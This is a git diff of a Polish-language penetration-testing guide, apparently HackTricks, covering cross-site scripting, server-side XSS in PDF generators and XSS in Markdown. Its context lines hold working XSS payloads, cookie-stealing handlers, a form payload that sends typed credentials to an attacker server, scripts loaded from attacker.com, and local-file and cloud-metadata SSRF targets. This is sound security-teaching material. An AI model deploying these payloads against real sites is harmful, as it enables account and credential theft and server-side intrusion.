- [ ] [**Ataki SAML**](../saml-attacks/)
- [ ] [**Ataki SAML**](../saml-attacks/index.html)
### **Inne pomocne wrażliwości**
@ -124,6 +124,6 @@ Te wrażliwości mogą pomóc w eksploatacji innych wrażliwości.
- [ ] [**Przejęcie domeny/subdomeny**](../domain-subdomain-takeover.md)
- [ ] [**IDOR**](../idor.md)
- [ ] [**Zanieczyszczenie parametrów**](../parameter-pollution.md)
- [ ] [**Wrażliwość normalizacji Unicode**](../unicode-injection/)
- [ ] [**Wrażliwość normalizacji Unicode**](../unicode-injection/index.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -11,7 +11,7 @@
2. Czy możesz używać zdarzeń lub atrybutów wspierających protokół `javascript:`?
3. Czy możesz obejść zabezpieczenia?
4. Czy zawartość HTML jest interpretowana przez jakikolwiek silnik JS po stronie klienta (_AngularJS_, _VueJS_, _Mavo_...), możesz wykorzystać [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Jeśli nie możesz tworzyć tagów HTML, które wykonują kod JS, czy możesz wykorzystać [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
5. Jeśli nie możesz tworzyć tagów HTML, które wykonują kod JS, czy możesz wykorzystać [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
2. W **tagu HTML**:
1. Czy możesz wyjść do kontekstu surowego HTML?
2. Czy możesz tworzyć nowe zdarzenia/atrybuty, aby wykonać kod JS?
@ -47,7 +47,7 @@ Próbując wykorzystać XSS, pierwszą rzeczą, którą musisz wiedzieć, jest *
### Surowy HTML
Jeśli twoje dane wejściowe są **odzwierciedlane w surowym HTML** na stronie, będziesz musiał wykorzystać jakiś **tag HTML**, aby wykonać kod JS: `<img , <iframe , <svg , <script` ... to tylko niektóre z wielu możliwych tagów HTML, które możesz użyć.\
Jeśli twoje dane wejściowe są **odzwierciedlane na surowej stronie HTML**, będziesz musiał wykorzystać jakiś **tag HTML**, aby wykonać kod JS: `<img , <iframe , <svg , <script` ... to tylko niektóre z wielu możliwych tagów HTML, które możesz użyć.\
Również pamiętaj o [Client Side Template Injection](../client-side-template-injection-csti.md).
### W atrybucie tagów HTML
@ -67,14 +67,14 @@ Dziwny przykład Angulara wykonującego XSS, jeśli kontrolujesz nazwę klasy:
```
### Wewnątrz kodu JavaScript
W tym przypadku twój input jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami strony HTML, w pliku `.js` lub wewnątrz atrybutu używając protokołu **`javascript:`**:
W tym przypadku twój input jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami strony HTML, w pliku `.js` lub wewnątrz atrybutu używając **`javascript:`** protokołu:
- Jeśli jest odzwierciedlany pomiędzy **`<script> [...] </script>`** tagami, nawet jeśli twój input jest w jakimkolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć `</script>` i wydostać się z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw analizuje tagi HTML** a potem zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `</script>` jest wewnątrz kodu HTML.
- Jeśli jest odzwierciedlany **wewnątrz łańcucha JS** i ostatni trik nie działa, musisz **wyjść** z łańcucha, **wykonać** swój kod i **odtworzyć** kod JS (jeśli wystąpi błąd, nie zostanie on wykonany):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- Jeśli jest odzwierciedlany wewnątrz szablonów dosłownych, możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
- Jeśli jest odzwierciedlany wewnątrz szablonowych literałów, możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` ``
- **Kodowanie Unicode** działa, aby napisać **ważny kod javascript**:
```javascript
alert(1)
@ -100,7 +100,7 @@ Dobrym sposobem, aby dowiedzieć się, czy coś podane bezpośrednio przez użyt
W przypadku, gdy jest podatne, możesz być w stanie **wywołać alert**, wysyłając wartość: **`?callback=alert(1)`**. Jednak bardzo często te punkty końcowe **walidują zawartość**, aby zezwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**).
Jednak nawet z tym ograniczeniem nadal możliwe jest wykonanie niektórych działań. Dzieje się tak, ponieważ możesz użyć tych dozwolonych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**:
Jednak nawet z tym ograniczeniem nadal możliwe jest wykonanie niektórych działań. Dzieje się tak, ponieważ możesz użyć tych ważnych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**:
![](<../../images/image (747).png>)
@ -143,17 +143,17 @@ server-side-xss-dynamic-pdf.md
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
{{#endref}}
## Ominięcie WAF kodując obraz
## Kodowanie omijające WAF obrazu
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
## Wstrzykiwanie wewnątrz surowego HTML
Gdy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz wykorzystać `<` do tworzenia nowych tagów: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **zakodowany w HTML** lub **usunięty**, czy jest **odzwierciedlany bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek**.\
Kiedy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz wykorzystać `<`, aby stworzyć nowe tagi: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **kodowany HTML** lub **usunięty**, czy jest **odzwierciedlany bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek**.\
W tych przypadkach również **pamiętaj o** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
&#xNAN;_**Uwaga: Komentarz HTML można zamknąć używając\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*lub \*\*\*\*\*\***`--!>`\*\**_
W tym przypadku, jeśli nie użyto czarnej/białej listy, możesz użyć ładunków takich jak:
W tym przypadku, jeśli nie używa się czarnej/białej listy, możesz użyć ładunków takich jak:
```html
<script>
alert(1)
@ -161,20 +161,20 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
Ale jeśli używane jest czarne/białe listowanie tagów/atrybutów, będziesz musiał **brute-forcować, które tagi** możesz stworzyć.\
Gdy już **znajdziesz, które tagi są dozwolone**, będziesz musiał **brute-forcować atrybuty/wydarzenia** wewnątrz znalezionych ważnych tagów, aby zobaczyć, jak możesz zaatakować kontekst.
Ale jeśli używane jest czarne/białe listowanie tagów/atrybutów, będziesz musiał **próbować sił, które tagi** możesz utworzyć.\
Gdy już **znajdziesz, które tagi są dozwolone**, będziesz musiał **próbować atrybutów/wydarzeń** wewnątrz znalezionych prawidłowych tagów, aby zobaczyć, jak możesz zaatakować kontekst.
### Brute-force tagów/wydarzeń
### Bruteforce tagów/wydarzeń
Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij na _**Kopiuj tagi do schowka**_. Następnie wyślij je wszystkie za pomocą Burp intruder i sprawdź, czy jakieś tagi nie zostały odkryte jako złośliwe przez WAF. Gdy odkryjesz, które tagi możesz użyć, możesz **brute-forcować wszystkie wydarzenia** używając ważnych tagów (na tej samej stronie kliknij na _**Kopiuj wydarzenia do schowka**_ i postępuj zgodnie z tą samą procedurą co wcześniej).
Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij na _**Kopiuj tagi do schowka**_. Następnie wyślij je wszystkie za pomocą Burp intruder i sprawdź, czy jakieś tagi nie zostały wykryte jako złośliwe przez WAF. Gdy odkryjesz, które tagi możesz użyć, możesz **próbować wszystkich wydarzeń** używając prawidłowych tagów (na tej samej stronie kliknij na _**Kopiuj wydarzenia do schowka**_ i postępuj zgodnie z tą samą procedurą co wcześniej).
### Niestandardowe tagi
Jeśli nie znalazłeś żadnego ważnego tagu HTML, możesz spróbować **stworzyć niestandardowy tag** i wykonać kod JS z atrybutem `onfocus`. W żądaniu XSS musisz zakończyć URL znakiem `#`, aby strona **skupiła się na tym obiekcie** i **wykonała** kod:
Jeśli nie znalazłeś żadnego prawidłowego tagu HTML, możesz spróbować **utworzyć niestandardowy tag** i wykonać kod JS z atrybutem `onfocus`. W żądaniu XSS musisz zakończyć URL znakiem `#`, aby strona **skupiła się na tym obiekcie** i **wykonała** kod:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Blacklist Bypasses
### Ominięcia czarnej listy
Jeśli używana jest jakaś forma czarnej listy, możesz spróbować ją obejść za pomocą kilku prostych sztuczek:
```javascript
@ -243,19 +243,19 @@ Jeśli w celu wykorzystania luki musisz, aby **użytkownik kliknął link lub fo
### Niemożliwe - Dangling Markup
Jeśli myślisz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Dangling Markup**](../dangling-markup-html-scriptless-injection/), ponieważ możesz **wykorzystać** lukę **bez** wykonywania **kodu JS**.
Jeśli myślisz, że **niemożliwe jest stworzenie tagu HTML z atrybutem do wykonania kodu JS**, powinieneś sprawdzić [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html), ponieważ możesz **wykorzystać** lukę **bez** wykonywania **kod** JS.
## Wstrzykiwanie wewnątrz tagu HTML
### Wewnątrz tagu/ucieczka z wartości atrybutu
Jeśli jesteś **wewnątrz tagu HTML**, pierwszą rzeczą, którą możesz spróbować, jest **ucieczka** z tagu i użycie niektórych technik wspomnianych w [poprzedniej sekcji](#injecting-inside-raw-html) do wykonania kodu JS.\
Jeśli jesteś **wewnątrz tagu HTML**, pierwszą rzeczą, którą możesz spróbować, jest **ucieczka** z tagu i użycie niektórych z technik wymienionych w [poprzedniej sekcji](#injecting-inside-raw-html) do wykonania kodu JS.\
Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz tagu, aby spróbować wykonać kod JS, na przykład używając payloadu jak (_zauważ, że w tym przykładzie podwójne cudzysłowy są używane do ucieczki z atrybutu, nie będziesz ich potrzebować, jeśli twój input jest odzwierciedlany bezpośrednio wewnątrz tagu_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
```
**Styl zdarzeń**
**Zdarzenia stylów**
```python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
@ -267,8 +267,8 @@ Jeśli **nie możesz uciec z tagu**, możesz stworzyć nowe atrybuty wewnątrz t
```
### W obrębie atrybutu
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), w zależności od **tego, który atrybut** jest odzwierciedlany w twojej wartości **czy kontrolujesz całą wartość, czy tylko część** będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona ono dowolny kod po kliknięciu.\
Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:`, aby wykonać dowolny kod: **`href="javascript:alert(1)"`**
Nawet jeśli **nie możesz uciec z atrybutu** (`"` jest kodowane lub usuwane), w zależności od **tego, który atrybut** jest używany do odzwierciedlenia twojej wartości **jeśli kontrolujesz całą wartość lub tylko część** będziesz mógł to wykorzystać. Na **przykład**, jeśli kontrolujesz zdarzenie takie jak `onclick=`, będziesz mógł sprawić, że wykona ono dowolny kod po kliknięciu.\
Innym interesującym **przykładem** jest atrybut `href`, gdzie możesz użyć protokołu `javascript:` do wykonania dowolnego kodu: **`href="javascript:alert(1)"`**
**Obejście wewnątrz zdarzenia za pomocą kodowania HTML/kodowania URL**
@ -347,11 +347,11 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Inne sztuczki obfuskacji**
_**W tym przypadku kodowanie HTML i sztuczka z kodowaniem Unicode z poprzedniej sekcji również ważne, ponieważ znajdujesz się wewnątrz atrybutu.**_
_**W tym przypadku kodowanie HTML i sztuczka z kodowaniem Unicode z poprzedniej sekcji również ważne, ponieważ znajdujesz się wewnątrz atrybutu.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Ponadto istnieje inny **fajny trik** w takich przypadkach: **Nawet jeśli twój input wewnątrz `javascript:...` jest kodowany w URL, zostanie on zdekodowany przed wykonaniem.** Więc, jeśli musisz **uciec** ze **stringu** używając **pojedynczego cudzysłowu** i widzisz, że **jest kodowany w URL**, pamiętaj, że **to nie ma znaczenia,** zostanie **zinterpretowane** jako **pojedynczy cudzysłów** w czasie **wykonania.**
Ponadto istnieje inny **fajny trik** w takich przypadkach: **Nawet jeśli twój input wewnątrz `javascript:...` jest kodowany w URL, zostanie on zdekodowany przed wykonaniem.** Więc, jeśli musisz **uciec** z **ciągu** używając **pojedynczego cudzysłowu** i widzisz, że **jest kodowany w URL**, pamiętaj, że **to nie ma znaczenia,** zostanie **zinterpretowane** jako **pojedynczy cudzysłów** w czasie **wykonywania.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
@ -361,7 +361,7 @@ Zauważ, że jeśli spróbujesz **użyć obu** `URLencode + HTMLencode` w dowoln
**Używanie kodowania Hex i Octal z `javascript:`**
Możesz użyć **Hex** i **Octal encode** wewnątrz atrybutu `src` `iframe` (przynajmniej), aby zadeklarować **tagi HTML do wykonania JS**:
Możesz używać **Hex** i **Octal encode** wewnątrz atrybutu `src` `iframe` (przynajmniej), aby zadeklarować **tagi HTML do wykonania JS**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -383,7 +383,7 @@ Jeśli możesz wstrzyknąć dowolny URL w dowolny **`<a href=`** tag, który zaw
../reverse-tab-nabbing.md
{{#endref}}
### O obejściu obsługi zdarzeń
### o Ominięciu Obsługi Zdarzeń
Przede wszystkim sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) w poszukiwaniu przydatnych **"on" obsług zdarzeń**.\
W przypadku, gdy istnieje jakaś czarna lista uniemożliwiająca ci tworzenie tych obsług zdarzeń, możesz spróbować następujących obejść:
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **ładunek XSS w ukrytym atrybucie**, pod warunkiem, że możesz **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W systemie Firefox na Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a na OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie dostępu. Oto wektor:
Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **ładunek XSS wewnątrz ukrytego atrybutu**, pod warunkiem, że możesz **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W systemie Firefox na Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a na OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie klucza dostępu. Oto wektor:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -444,13 +444,13 @@ Przeczytaj [Ominięcia czarnej listy z poprzedniej sekcji](#blacklist-bypasses).
**Ominięcia dla kodu JavaScript**
Przeczytaj [czarną listę omijania JavaScript w następnej sekcji](#javascript-bypass-blacklists-techniques).
Przeczytaj [czarną listę omijania JavaScript z następnej sekcji](#javascript-bypass-blacklists-techniques).
### Gadżety CSS
Jeśli znalazłeś **XSS w bardzo małej części** strony, która wymaga jakiejś interakcji (może mały link w stopce z elementem onmouseover), możesz spróbować **zmodyfikować przestrzeń, którą zajmuje ten element**, aby zwiększyć prawdopodobieństwo uruchomienia linku.
Na przykład, możesz dodać jakieś style do elementu, takie jak: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Na przykład, możesz dodać styl do elementu, taki jak: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Jednak, jeśli WAF filtruje atrybut stylu, możesz użyć Gadżetów Stylizacji CSS, więc jeśli znajdziesz, na przykład
@ -774,7 +774,7 @@ Możesz sprawić, że **administrator wywoła twoje self XSS** i ukraść jego c
### Normalizowany Unicode
Możesz sprawdzić, czy **odzwierciedlone wartości****normalizowane w Unicode** na serwerze (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/index.html#xss-cross-site-scripting).
Możesz sprawdzić, czy **odzwierciedlone wartości****normalizowane Unicode** na serwerze (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/index.html#xss-cross-site-scripting).
### Obejście flagi PHP FILTER_VALIDATE_EMAIL
```javascript
@ -782,16 +782,16 @@ Możesz sprawdzić, czy **odzwierciedlone wartości** są **normalizowane w Unic
```
### Ruby-On-Rails bypass
Z powodu **masowego przypisania RoR** cytaty są wstawiane w HTML, a następnie ograniczenie cytatów jest omijane, co pozwala na dodanie dodatkowych pól (onfocus) wewnątrz tagu.\
Z powodu **masowego przypisania RoR** cytaty są wstawiane w HTML, a następnie ograniczenie cytatów jest omijane i dodatkowe pola (onfocus) mogą być dodawane wewnątrz tagu.\
Przykład formularza ([z tego raportu](https://hackerone.com/reports/709336)), jeśli wyślesz ładunek:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
Para "Key","Value" zostanie zwrócona w ten sposób:
Para "Key","Value" zostanie zwrócone w ten sposób:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
Wtedy atrybut onfocus zostanie wstawiony i wystąpi XSS.
Następnie atrybut onfocus zostanie wstawiony i wystąpi XSS.
### Specjalne kombinacje
```markup
@ -825,14 +825,14 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS z wstrzyknięciem nagłówków w odpowiedzi 302
Jeśli odkryjesz, że możesz **wstrzykiwać nagłówki w odpowiedzi 302 Redirect**, możesz spróbować **sprawić, aby przeglądarka wykonała dowolny JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam ładunek cross-site scripting jest bezużyteczny.
Jeśli odkryjesz, że możesz **wstrzykiwać nagłówki w odpowiedzi 302 Redirect**, możesz spróbować **sprawić, by przeglądarka wykonała dowolny JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują treści odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam ładunek cross-site scripting jest bezużyteczny.
W [**tym raporcie**](https://www.gremwell.com/firefox-xss-302) i [**tym**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak możesz testować różne protokoły w nagłówku Location i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na zbadanie i wykonanie ładunku XSS w treści.\
Znane wcześniej protokoły: `mailto://`, `//x:1/`, `ws://`, `wss://`, _pusty nagłówek Location_, `resource://`.
### Tylko litery, cyfry i kropki
Jeśli jesteś w stanie wskazać **callback**, który JavaScript ma **wykonać**, ograniczając się do tych znaków. [**Przeczytaj tę sekcję tego posta**](#javascript-function), aby dowiedzieć się, jak nadużywać tego zachowania.
Jeśli jesteś w stanie wskazać **callback**, który JavaScript ma **wykonać**, ograniczając się do tych znaków. [**Przeczytaj tę sekcję tego posta**](#javascript-function), aby dowiedzieć się, jak wykorzystać to zachowanie.
### Ważne typy zawartości `<script>` do XSS
@ -840,7 +840,7 @@ Jeśli jesteś w stanie wskazać **callback**, który JavaScript ma **wykonać**
> Odrzucono wykonanie skryptu z [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') ponieważ jego typ MIME (application/octet-stream) nie jest wykonywalny, a ścisłe sprawdzanie typu MIME jest włączone.
Jedynymi **Content-Type**ami, które pozwolą Chrome na uruchomienie **załadowanego skryptu**, są te w stałej **`kSupportedJavascriptTypes`** z [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
Jedynymi **Content-Type** wspierającymi Chrome do uruchomienia **załadowanego skryptu** są te w stałej **`kSupportedJavascriptTypes`** z [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -869,7 +869,7 @@ const char* const kSupportedJavascriptTypes[] = {
<script type="???"></script>
```
- **moduł** (domyślny, nic do wyjaśnienia)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles to funkcja, która pozwala na spakowanie wielu danych (HTML, CSS, JS…) razem do pliku **`.wbn`**.
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles to funkcja, która pozwala na spakowanie wielu danych (HTML, CSS, JS…) razem w plik **`.wbn`**.
```html
<script type="webbundle">
{
@ -961,7 +961,7 @@ eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequir
// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
@ -1377,7 +1377,7 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Gdy jakiekolwiek dane zostaną wprowadzone w polu hasła, nazwa użytkownika i hasło są wysyłane na serwer atakującego, nawet jeśli klient wybierze zapisane hasło i nic nie wpisze, dane uwierzytelniające zostaną wyekstrahowane.
Kiedy jakiekolwiek dane są wprowadzane w polu hasła, nazwa użytkownika i hasło są wysyłane na serwer atakującego, nawet jeśli klient wybierze zapisane hasło i nic nie wpisze, dane uwierzytelniające zostaną wykradzione.
### Keylogger
@ -1496,11 +1496,11 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## Wykorzystywanie XSS w innych lukach
## XSS Wykorzystywanie innych podatności
### XSS w Markdown
Możesz wstrzyknąć kod Markdown, który zostanie wyrenderowany? Może uda Ci się uzyskać XSS! Sprawdź:
Możesz wstrzyknąć kod Markdown, który zostanie wyrenderowany? Może uda ci się uzyskać XSS! Sprawdź:
{{#ref}}
xss-in-markdown.md
@ -1508,7 +1508,7 @@ xss-in-markdown.md
### XSS do SSRF
Masz XSS na **stronie, która używa cache**? Spróbuj **przekształcić to w SSRF** poprzez wstrzyknięcie Edge Side Include z tym ładunkiem:
Masz XSS na **stronie, która używa cache**? Spróbuj **zaktualizować to do SSRF** poprzez Edge Side Include Injection z tym ładunkiem:
```python
<esi:include src="http://yoursite.com/capture" />
```

View File

@ -4,19 +4,19 @@
## Server Side XSS (Dynamic PDF)
Jeśli strona internetowa tworzy PDF przy użyciu danych wejściowych kontrolowanych przez użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\
Jeśli strona internetowa tworzy PDF przy użyciu danych kontrolowanych przez użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\
Więc, jeśli **bot tworzący PDF znajdzie** jakiś rodzaj **znaczników HTML**, zacznie je **interpretować**, a ty możesz **wykorzystać** to zachowanie, aby spowodować **Server XSS**.
Proszę zauważyć, że znaczniki `<script></script>` nie zawsze działają, więc będziesz potrzebować innej metody do wykonania JS (na przykład, wykorzystując `<img` ).\
Również, zauważ, że w regularnej eksploatacji będziesz **mógł zobaczyć/pobrać utworzony pdf**, więc będziesz mógł zobaczyć wszystko, co **piszesz za pomocą JS** (używając `document.write()` na przykład). Ale, jeśli **nie możesz zobaczyć** utworzonego PDF, prawdopodobnie będziesz musiał **wyodrębnić informacje, wykonując zapytania webowe do siebie** (Blind).
Zauważ, że znaczniki `<script></script>` nie zawsze działają, więc będziesz potrzebować innej metody do wykonania JS (na przykład, wykorzystując `<img` ).\
Również, pamiętaj, że w regularnej eksploatacji będziesz **mógł zobaczyć/pobrać utworzony pdf**, więc będziesz mógł zobaczyć wszystko, co **piszesz za pomocą JS** (używając `document.write()` na przykład). Ale, jeśli **nie możesz zobaczyć** utworzonego PDF, prawdopodobnie będziesz musiał **wyodrębnić informacje, wykonując zapytania webowe do siebie** (Blind).
### Popular PDF generation
- **wkhtmltopdf** jest znany ze swojej zdolności do konwertowania HTML i CSS na dokumenty PDF, wykorzystując silnik renderujący WebKit. To narzędzie jest dostępne jako open-source narzędzie wiersza poleceń, co czyni je dostępnym dla szerokiego zakresu zastosowań.
- **TCPDF** oferuje solidne rozwiązanie w ekosystemie PHP do generacji PDF. Jest w stanie obsługiwać obrazy, grafikę i szyfrowanie, pokazując swoją wszechstronność w tworzeniu złożonych dokumentów.
- Dla tych, którzy pracują w środowisku Node.js, **PDFKit** stanowi realną opcję. Umożliwia generowanie dokumentów PDF bezpośrednio z HTML i CSS, zapewniając most między treścią internetową a formatami do druku.
- **wkhtmltopdf** jest znany ze swojej zdolności do konwertowania HTML i CSS na dokumenty PDF, wykorzystując silnik renderujący WebKit. To narzędzie jest dostępne jako open-source utility w wierszu poleceń, co czyni je dostępnym dla szerokiego zakresu zastosowań.
- **TCPDF** oferuje solidne rozwiązanie w ekosystemie PHP do generacji PDF. Jest w stanie obsługiwać obrazy, grafikę i szyfrowanie, co pokazuje jego wszechstronność w tworzeniu złożonych dokumentów.
- Dla tych, którzy pracują w środowisku Node.js, **PDFKit** stanowi realną opcję. Umożliwia generowanie dokumentów PDF bezpośrednio z HTML i CSS, zapewniając most między treściami webowymi a formatami do druku.
- Programiści Java mogą preferować **iText**, bibliotekę, która nie tylko ułatwia tworzenie PDF, ale także wspiera zaawansowane funkcje, takie jak podpisy cyfrowe i wypełnianie formularzy. Jej kompleksowy zestaw funkcji sprawia, że jest odpowiednia do generowania bezpiecznych i interaktywnych dokumentów.
- **FPDF** to kolejna biblioteka PHP, wyróżniająca się prostotą i łatwością użycia. Jest zaprojektowana dla programistów szukających prostego podejścia do generacji PDF, bez potrzeby rozbudowanych funkcji.
- **FPDF** to kolejna biblioteka PHP, wyróżniająca się prostotą i łatwością użycia. Została zaprojektowana dla programistów szukających prostego podejścia do generacji PDF, bez potrzeby korzystania z rozbudowanych funkcji.
## Payloads
@ -35,7 +35,7 @@ Również, zauważ, że w regularnej eksploatacji będziesz **mógł zobaczyć/p
```
### SVG
Dowolny z poprzednich lub następujących ładunków może być użyty wewnątrz tego ładunku SVG. Jako przykłady podano jeden iframe uzyskujący dostęp do subdomeny Burpcollab i drugi uzyskujący dostęp do punktu końcowego metadanych.
Każdy z poprzednich lub następujących ładunków może być użyty wewnątrz tego ładunku SVG. Jako przykłady podano jeden iframe uzyskujący dostęp do subdomeny Burpcollab i drugi uzyskujący dostęp do punktu końcowego metadanych.
```markup
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
@ -71,12 +71,12 @@ if not, you will at least have wich path the bot is accessing -->
```
### Załaduj zewnętrzny skrypt
Najlepszym sposobem na wykorzystanie tej luki jest nadużycie jej, aby zmusić bota do załadowania skryptu, który kontrolujesz lokalnie. Wtedy będziesz mógł lokalnie zmieniać ładunek i sprawić, że bot załaduje go za każdym razem z tym samym kodem.
Najlepszym sposobem na wykorzystanie tej luki jest nadużycie jej, aby zmusić bota do załadowania skryptu, który kontrolujesz lokalnie. W ten sposób będziesz mógł lokalnie zmieniać ładunek i sprawić, że bot załaduje go za każdym razem z tym samym kodem.
```markup
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```
### Odczytaj lokalny plik / SSRF
### Odczyt lokalnego pliku / SSRF
> [!WARNING]
> Zmień `file:///etc/passwd` na `http://169.254.169.254/latest/user-data`, aby **spróbować uzyskać dostęp do zewnętrznej strony internetowej (SSRF)**.
@ -145,7 +145,7 @@ checkPort(i);
</script>
<img src="https://attacker.com/startingScan">
```
### [SSRF](../ssrf-server-side-request-forgery/)
### [SSRF](../ssrf-server-side-request-forgery/index.html)
Ta podatność może być bardzo łatwo przekształcona w SSRF (ponieważ możesz sprawić, że skrypt załaduje zewnętrzne zasoby). Więc spróbuj to wykorzystać (przeczytać jakieś metadane?).

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Jeśli masz możliwość wstrzyknięcia kodu w markdown, istnieje kilka opcji, które możesz wykorzystać do wywołania XSS, gdy kod zostanie zinterpretowany.
Jeśli masz możliwość wstrzyknięcia kodu w markdown, istnieje kilka opcji, które możesz wykorzystać, aby wywołać XSS, gdy kod zostanie zinterpretowany.
### Tag HTML
@ -42,7 +42,7 @@ t:prompt(document.cookie))
```
